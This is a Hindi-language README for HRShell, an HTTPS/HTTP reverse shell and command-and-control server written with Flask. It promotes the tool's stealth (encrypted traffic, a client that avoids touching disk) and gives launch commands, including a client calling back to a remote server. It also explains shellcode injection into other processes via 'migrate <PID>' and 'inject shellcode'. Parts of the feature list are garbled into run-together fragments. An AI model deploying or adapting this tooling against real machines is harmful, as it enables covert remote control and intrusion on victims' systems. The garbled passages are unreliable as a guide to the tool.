
HRShell फ्लास्क के साथ निर्मित एक HTTPS/HTTP रिवर्स शेल है। यह कई सुविधाओं और क्षमताओं वाला एक उन्नत C2 सर्वर है।
HRShell एक HTTPS/HTTP रिवर्स शेल है जो Flask के साथ बनाया गया है और python 3.x के साथ संगत है। client.py का सफलतापूर्वक परीक्षण निम्नलिखित पर किया गया है:
जबकि server.py Unix सिस्टम के साथ संगत है (Windows समर्थन जल्द ही आ रहा है...)
migrate <PID>) उसके PID निर्दिष्ट करके
cd कमांड और वेरिएंट)।history कमांड उपलब्ध।download/upload/screenshot/hex कमांड उपलब्ध।|) और श्रृंखलित कमांड (;) समर्थित हैंgunicorn और Nginx के साथ भी संगत है।server.py और client.py दोनों आसानी से विस्तार योग्य हैं।*संस्करण परिवर्तनों के लिए CHANGELOG देखें।
HRShell गुप्त है क्योंकि यह क्लाइंट और सर्वर के बीच संचार की विधि के रूप में HTTP(S) प्रोटोकॉल का उपयोग करता है। इसके अतिरिक्त जब TLS उपयोग में होता है तो ट्रैफ़िक भी एन्क्रिप्टेड होता है। साथ ही यदि CERT क्लाइंट-साइड पर हार्ड-कोडेड नहीं है (जो एक संभव विकल्प है) और upload कमांड का उपयोग नहीं किया जाता है, तो client.py डिस्क को बिल्कुल स्पर्श नहीं करता है।
सर्वर-साइड:
जब तक --http विकल्प निर्दिष्ट नहीं किया जाता है, डिफ़ॉल्ट रूप से server.py ऑन-द-फ्लाई प्रमाणपत्रों का उपयोग करके HTTPS है, क्योंकि ऑन-द-फ्लाई प्रमाणपत्र एक अंतर्निहित Flask-सुविधा हैं। लेकिन यदि सर्वर को TLS का उपयोग करने के लिए -s tornado विकल्प निर्दिष्ट किया गया है, तो --cert और --key विकल्पों को इस प्रकार निर्दिष्ट किया जाना चाहिए:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
या तो "वास्तविक" प्रमाणपत्रों का उपयोग किया जा सकता है या cert/key जोड़ी उत्पन्न करने का दूसरा तरीका उदा. mkcert या openssl का सीधे उपयोग करना है जैसे:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
एक cert/key जोड़ी का उपयोग Flask-सर्वर के साथ भी किया जा सकता है:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ यदि सर्वर TLS का उपयोग कर रहा है, तो डिज़ाइन के अनुसार क्लाइंट सर्वर से कनेक्ट करने के लिए
http://...का उपयोग नहीं कर सकता है, बल्कि उसे स्पष्ट रूप सेhttpsका उपयोग करना होगा।
क्लाइंट-साइड: डिफ़ॉल्ट रूप से क्लाइंट का SSL सत्यापन अक्षम है, जब तक:
--cert पैरामीटर निर्दिष्ट किया गया हो उदा.:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT वेरिएबल, डिफ़ॉल्ट None मान के बजाय, पहले से एक मान्य प्रमाणपत्र के साथ सेट किया गया हो उदा.:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
इस स्थिति में client.py चालू अवस्था में एक छिपी हुई .cert.pem फ़ाइल बनाने का प्रयास करेगा और उसका उपयोग करेगा।⚠️ कि क्लाइंट पर SSL सत्यापन डिफ़ॉल्ट रूप से अक्षम है, इसका किसी भी स्थिति में यह मतलब नहीं है कि TLS भी अक्षम है, TLS सक्षम होगा यदि सर्वर इसका उपयोग करता है - इसलिए TLS पूरी तरह से सर्वर पर निर्भर करता है।
--certविकल्प क्लाइंट पर सर्वर-क्लाइंट के लिए एक एन्क्रिप्टेड सत्र होने के वैकल्पिक तरीके के रूप में है और बस इतना ही।
शेलकोड इंजेक्शन के दो "मोड" हैं जो क्रमशः निम्नलिखित दो कमांड का उपयोग करते हैं:
migrate <PID>: इस कमांड का उपयोग करके हम किसी अन्य प्रक्रिया के मेमोरी स्पेस में उसका PID निर्दिष्ट करके शेलकोड इंजेक्ट कर सकते हैं। अभी के लिए यह कमांड केवल Windows x86/x64 प्लेटफ़ॉर्म पर लागू किया जा सकता है!
inject shellcode: इस कमांड का उपयोग करके हमारी वर्तमान प्रक्रिया का एक नया थ्रेड (या Unix सिस्टम पर स्पॉन की गई प्रक्रिया) बनाया जाता है और शेलकोड इंजेक्शन उसके मेमोरी स्पेस में होता है। परिणामस्वरूप, हमारा HTTP(S) शेल इंजेक्शन से प्रभावित नहीं होता है। जिन प्लेटफ़ॉर्मों पर यह कमांड लागू किया जा सकता है वे हैं: Unix x86/x64, Windows x86 प्लेटफ़ॉर्म!
दो तरीके हैं जिनसे आप निर्दिष्ट/सेट कर सकते हैं कि आप क्लाइंट को किस प्रकार का शेलकोड निष्पादित करना चाहते हैं:
client.py स्क्रिप्ट पर shellcode वेरिएबल को एक मान्य शेलकोड के रूप में प्री-सेट करें याset shellcode <shellcode-id> कमांड का उपयोग करें। इस कमांड से आप सर्वर-साइड से क्लाइंट-साइड पर अपने शेलकोड को जितनी बार चाहें अपडेट कर सकते हैं!